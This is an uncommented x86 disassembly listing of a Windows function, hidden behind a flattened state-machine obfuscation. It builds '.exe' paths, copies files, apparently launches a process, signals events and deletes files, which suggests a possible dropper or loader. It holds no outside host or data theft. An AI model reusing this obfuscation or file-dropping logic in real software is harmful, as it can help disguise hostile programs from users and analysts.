cmp eax, 0x5ffa0357
jne 0x4111b0
mov dword [esp + 0x1ca0], 0xffffffff
mov dword [esp + 0x54], 0x99a7e2e4
jmp 0x4111b0
cmp eax, 0x59a374bf
jne 0x4111b0
jmp 0x4131ce
cmp eax, 0x599becf8
jne 0x4111b0
jmp 0x4130f0
cmp eax, 0x5880cb8d
jne 0x4111b0
mov eax, dword [esp + 0x1c9c]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0x68], eax
mov ecx, 0xf43c24c7
test eax, eax
jne 0x4124e6
mov ecx, 0x2ec6ae9d
mov dword [esp + 0x54], ecx
jmp 0x4111b0
cmp eax, 0x50484155
jne 0x4111b0
mov ebx, esi
lea eax, [esp + 0x3a4]
mov edi, eax
mov dword [esp], edi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], edi
mov dword [esp + 0xc], 6
mov dword [esp + 8], str._q__u
mov dword [esp + 4], 0x104
call fcn.00404820
lea eax, [esp + 0x11ea]
mov esi, eax
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
lea eax, [esp + 0x3b0]
mov dword [esp], eax
mov dword [esp + 4], 0xfe
call fcn.00404820
lea eax, [esp + 0x1808]
mov dword [esp + 0x1c68], eax
mov dword [esp + 0x1c6c], edi
mov dword [esp + 0x1c74], 0
lea eax, [esp + 0x1c58]
mov dword [esp], eax
call dword [0x46d7ec]
sub esp, 4
cmp eax, 1
mov eax, 0x7e64f6eb
jne 0x4125af
mov eax, 0xff7ed006
mov dword [esp + 0x54], eax
mov esi, ebx
jmp 0x4111b0
cmp eax, 0x4f99c451
jne 0x4111b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
sub esp, 4
mov dword [esp + 0x54], 0x3bb39dc5
jmp 0x4111b0
cmp eax, 0x4e9e8e6a
jne 0x4111b0
mov dword [esp + 0x54], 0x3bb39dc5
jmp 0x4111b0
cmp eax, 0x4c984d58
jne 0x4111b0
mov edi, esi
lea esi, [esp + 0xfe0]
mov dword [esp], esi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], edi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], esi
mov dword [esp + 4], 0x104
call fcn.004063c0
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x15fe]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], 0x104
call fcn.00404820
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x6c]
mov edx, 0x104
sub edx, ecx
lea ecx, [esp + ecx*2 + 0xdd6]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov esi, edi
mov dword [esp + 4], edx
mov dword [esp], ecx
call fcn.00404820
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x58]
mov edx, 0x937a2fd2
sub edx, eax
sub edx, ecx
add edx, 0x6c85d132
lea eax, [esp + eax*2 + 0xdd6]
lea eax, [eax + ecx*2]
mov dword [esp], eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], str..exe
call fcn.00404820
mov dword [esp + 0x54], 0xd5d3179b
jmp 0x4111b0
cmp eax, 0x4b354cda
jne 0x4111b0
mov dword [esp + 0x1ca0], 0
mov dword [esp + 0x54], 0xb2c1f3c3
jmp 0x4111b0
cmp eax, 0x3bb39dc5
jne 0x4111b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
sub esp, 4
mov dword [esp + 0x54], 0x6016bf7b
jmp 0x4111b0
cmp eax, 0x391aa24d
jne 0x4111b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x54], 0xe427fdac
jmp 0x4111b0
cmp eax, 0x37e7477d
jne 0x4111b0
mov dword [esp + 4], esi
lea eax, [esp + 0x5ae]
mov dword [esp], eax
mov dword [esp + 8], 1
call dword [sym.imp.KERNEL32.dll_CopyFileW]
sub esp, 0xc
test eax, eax
mov eax, 0xc77146e9
je 0x41279a
mov eax, 0xc364bcb3
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0x2eea5c4a
jne 0x4111b0
mov al, byte [esp + 0x1cac]
test al, al
mov eax, 0xd60fbe03
jne 0x4127c3
mov eax, 0x4b354cda
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0x2ec6ae9d
jne 0x4111b0
mov dword [esp + 0x1c58], 0x3c
mov dword [esp + 0x1c5c], 0x40
mov dword [esp + 0x1c60], 0
mov dword [esp + 0x1c64], 0x4832e4
mov dword [esp + 0x1c70], 0
mov dword [esp + 0x1c78], 0
lea eax, [esp + 0x3a4]
mov esi, eax
mov dword [esp], esi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], esi
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0x4832ee
mov dword [esp + 4], 0x104
call fcn.00404820
lea eax, [esp + 0x11ea]
mov esi, eax
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
lea eax, [esp + 0x3aa]
mov dword [esp], eax
mov dword [esp + 4], 0x101
call fcn.00404820
mov eax, dword [0x422154]
movzx eax, word [eax]
mov dword [esp + 0x74], eax
mov ecx, 0x65e8dfea
sub ecx, eax
mov eax, 0x65e8dfeb
sub eax, ecx
mov ecx, dword [0x422154]
movzx eax, word [ecx + eax*2]
mov dword [esp + 0x70], eax
mov ecx, dword [0x422154]
mov edx, dword [esp + 0x74]
lea edi, [ecx + edx*2 + 4]
add ecx, 2
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edi
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
lea eax, [esp + 0x1808]
mov dword [esp], eax
call fcn.00403740
lea eax, [esp + 0xfe0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
sub esp, 0x10
mov dword [esp + 0x1c98], eax
mov ecx, 0x599becf8
test eax, eax
je 0x412922
mov ecx, 0xcd7c9999
mov dword [esp + 0x54], ecx
lea esi, [esp + 0xdd6]
jmp 0x4111b0
cmp eax, 0x269d252f
jne 0x4111b0
lea eax, [esp + 0x7b8]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.004044d0
mov dword [esp + 0x78], eax
lea eax, [esp + 0x60]
mov dword [esp], eax
call fcn.0040f7d0
test eax, eax
mov eax, 0x77411608
jne 0x412972
mov eax, 0xb9ffe00e
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0x22c9ba68
jne 0x4111b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete byte [esp + 0x1cad]
mov byte [esp + 0x1cae], 1
mov dword [esp + 0x54], 0x817564a8
jmp 0x4111b0
cmp eax, 0x1e58e4b3
jne 0x4111b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x54], 0x22c9ba68
jmp 0x4111b0
cmp eax, 0x1d722387
jne 0x4111b0
jmp 0x4130f0
cmp eax, 0x18ab2020
jne 0x4111b0
mov eax, dword [esp + 0x1c90]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [0x46d7e8]
sub esp, 0x10
lea eax, [esp + 0xbcc]
mov dword [esp + 0x1c68], eax
mov dword [esp + 0x1c6c], 0
mov dword [esp + 0x1c74], 1
lea eax, [esp + 0x1c58]
mov dword [esp], eax
call dword [0x46d7ec]
sub esp, 4
cmp eax, 1
mov eax, 0xf26b522c
jne 0x412a70
mov eax, 0xd876d4f7
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0x182a1992
jne 0x4111b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 0x54], 0x4b354cda
jmp 0x4111b0
cmp eax, 0x116f642a
jne 0x4111b0
mov dword [esp + 0x54], 0x37e7477d
jmp 0x4111b0
cmp eax, 0x335ec56
jne 0x4111b0
mov eax, dword [esp + 0x78]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x7b8]
mov dword [esp + 8], eax
lea eax, [esp + 0xfe0]
mov edi, esi
mov esi, eax
mov dword [esp], esi
mov dword [esp + 4], 0x104
call fcn.00404a50
mov dword [esp + 0x64], eax
mov word [esp + eax*2 + 0xfd8], 0
mov dword [esp + 0xc], esi
mov esi, edi
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
sub esp, 0x10
mov dword [esp + 0x1c98], eax
test eax, eax
setne byte [esp + 0x1cac]
mov dword [esp + 0x54], 0x2eea5c4a
jmp 0x4111b0
cmp eax, 0x10e9dc
jne 0x4111b0
mov edi, esi
lea esi, [esp + 0xfe0]
mov dword [esp], esi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], edi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], esi
mov dword [esp + 4], 0x104
call fcn.004063c0
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x15fe]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], 0x104
call fcn.00404820
mov ebx, dword [esp + 0x58]
mov ecx, dword [esp + 0x6c]
lea edx, [esp + ecx*2 + 0xdd6]
neg ecx
mov eax, 0xde0b701b
sub eax, ecx
mov ecx, 0xde0b711f
sub ecx, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov esi, edi
mov dword [esp], edx
mov dword [esp + 4], ecx
call fcn.00404820
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x58]
mov edx, 0x350b0fe2
sub edx, eax
sub edx, ecx
add edx, 0xcaf4f122
lea eax, [esp + eax*2 + 0xdd6]
lea eax, [eax + ecx*2]
mov dword [esp], eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], str..exe
call fcn.00404820
mov byte [esp + 0x1caf], 1
mov dword [esp + 0x54], 0xb2bd47c9
jmp 0x4111b0
cmp eax, 0xff7ed006
jne 0x4111b0
mov dword [esp + 0x54], 0x96534ee6
jmp 0x4111b0
cmp eax, 0xfc34f938
jne 0x4111b0
mov dword [esp + 0x54], 0xb419a0f0
jmp 0x4111b0
cmp eax, 0xf97f052d
jne 0x4111b0
mov eax, 0x70245a6a
cmp dword [esp + 0x1ca4], 0
js 0x412ca0
mov eax, 0x269d252f
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xf7f1bf96
jne 0x4111b0
mov dword [esp + 0x54], 0xe2307d19
jmp 0x4111b0
cmp eax, 0xf43c24c7
jne 0x4111b0
mov eax, 0x1d722387
cmp dword [esp + 0x68], 0x80
jne 0x412ce0
mov eax, 0x2ec6ae9d
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xf26b522c
jne 0x4111b0
jmp 0x4130f0
cmp eax, 0xef7877b8
jne 0x4111b0
mov dword [esp + 0x54], 0xa87113ab
jmp 0x4111b0
cmp eax, 0xe427fdac
jne 0x4111b0
mov dword [esp + 0x54], 0x22c9ba68
jmp 0x4111b0
cmp eax, 0xe3bfaf58
jne 0x4111b0
mov eax, 0x8857f5e3
cmp dword [esp + 0x1c94], 0
je 0x412d48
mov eax, 0x7fb822b8
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xe285c53e
jne 0x4111b0
mov dword [esp + 0x54], 0xf7f1bf96
jmp 0x4111b0
cmp eax, 0xe2307d19
jne 0x4111b0
mov al, byte [esp + 0x1cad]
test al, al
mov eax, 0x4e9e8e6a
jne 0x412d89
mov eax, 0x182a1992
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xde098017
jne 0x4111b0
mov al, byte [esp + 0x1cab]
test al, al
mov eax, 0x7e7cbc75
jne 0x412db2
mov eax, 0x992b8b28
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xdd469706
jne 0x4111b0
lea eax, [esp + 0x5ae]
mov dword [esp + 8], eax
lea eax, [esp + 0x7b8]
mov dword [esp], eax
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0x104
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
sub esp, 0x10
lea eax, [esp + 0x15fe]
mov edi, eax
mov dword [esp], edi
mov dword [esp + 4], 0x104
call fcn.00405700
mov dword [esp], edi
call fcn.00404c20
mov dword [esp + 0x6c], eax
mov dword [esp], 0
call fcn.004131e0
mov edi, eax
call fcn.00402ab0
imul eax, edi
mov dword [esp], eax
call fcn.00417e72
mov dword [esp + 0x54], 0xc77146e9
jmp 0x4111b0
cmp eax, 0xd876d4f7
jne 0x4111b0
mov eax, dword [esp + 0x1c90]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
call edi
sub esp, 8
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call edi
sub esp, 8
test eax, eax
mov eax, 0x7d4cf001
jne 0x412e92
mov eax, 0x50484155
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xd71dc6dd
jne 0x4111b0
mov dword [esp + 0x1ca0], 0xffffffff
mov dword [esp + 0x54], 0xb2c1f3c3
jmp 0x4111b0
cmp eax, 0xd60fbe03
jne 0x4111b0
mov dword [esp + 0x54], 0xe427fdac
jmp 0x4111b0
cmp eax, 0xd5d3179b
jne 0x4111b0
mov dword [esp + 0x54], 0x10e9dc
jmp 0x4111b0
cmp eax, 0xd3264c64
jne 0x4111b0
lea eax, [esp + 0x11ea]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 4
call fcn.00410e00
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x1ca0], eax
mov dword [esp + 0x54], 0x7b7a4f8b
jmp 0x4111b0
mov al, byte [esp + 0x1caf]
test al, al
mov eax, 0x116f642a
jne 0x412f3e
mov eax, 0x4c984d58
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xcd7c9999
jne 0x4111b0
lea eax, [esp + 0x1808]
mov dword [esp + 0x1c68], eax
lea eax, [esp + 0x3a4]
mov dword [esp + 0x1c6c], eax
mov dword [esp + 0x1c74], 0
lea eax, [esp + 0x1c58]
mov dword [esp], eax
call dword [0x46d7ec]
sub esp, 4
cmp eax, 1
mov eax, 0xc2ca2489
jne 0x412f9b
mov eax, 0x18ab2020
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xc8519d7c
jne 0x4111b0
mov edi, esi
lea esi, [esp + 0xfe0]
mov dword [esp], esi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], edi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], esi
mov dword [esp + 4], 0x104
call fcn.004063c0
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x15fe]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], 0x104
call fcn.00404820
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x6c]
mov edx, 0x104
sub edx, ecx
lea ecx, [esp + ecx*2 + 0xdd6]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov esi, edi
mov dword [esp + 4], edx
mov dword [esp], ecx
call fcn.00404820
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x58]
mov edx, 0xa7414693
sub edx, eax
sub edx, ecx
add edx, 0x58beba71
lea eax, [esp + eax*2 + 0xdd6]
lea eax, [eax + ecx*2]
mov dword [esp], eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], str..exe
call fcn.00404820
mov dword [esp + 0x54], 0x10e9dc
jmp 0x4111b0
cmp eax, 0xc77146e9
jne 0x4111b0
mov dword [esp + 0x54], 0xd5d3179b
jmp 0x4111b0
cmp eax, 0xc42a3887
jne 0x4111b0
mov dword [esp + 0x54], 0x99a7e2e4
jmp 0x4111b0
cmp eax, 0xc364bcb3
jne 0x4111b0
mov dword [esp + 0x54], 0x8857f5e3
jmp 0x4111b0
cmp eax, 0xc2ca2489
jne 0x4111b0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 4
lea eax, [esp + 0x5ae]
mov dword [esp], eax
call fcn.0040f6f0
mov dword [esp + 0x54], 0x98062a54
jmp 0x4111b0
cmp eax, 0xbbe6bd03
jne 0x4111b0
mov dword [esp + 0x54], 0x98062a54
jmp 0x4111b0
cmp eax, 0xb9ffe00e
jne 0x4111b0
mov eax, 0xd71dc6dd
cmp dword [esp + 0x60], 6
jb 0x41314c
mov eax, 0xdd469706
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xb9f38763
jne 0x4111b0
mov eax, dword [esp + 0x1c98]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 0x54], 0xb4ded102
jmp 0x4111b0
cmp eax, 0xb4ded102
jne 0x4111b0
mov eax, 0x95ecc63a
cmp dword [esp + 0x1c9c], 0
jne 0x41319f
mov eax, 0x74761025
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0xb419a0f0
jne 0x4111b0
mov eax, dword [esp + 0x1ca0]
mov dword [esp + 0x1cb0], eax
mov dword [esp + 0x54], 0x59a374bf
jmp 0x4111b0
mov eax, dword [esp + 0x1cb0]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret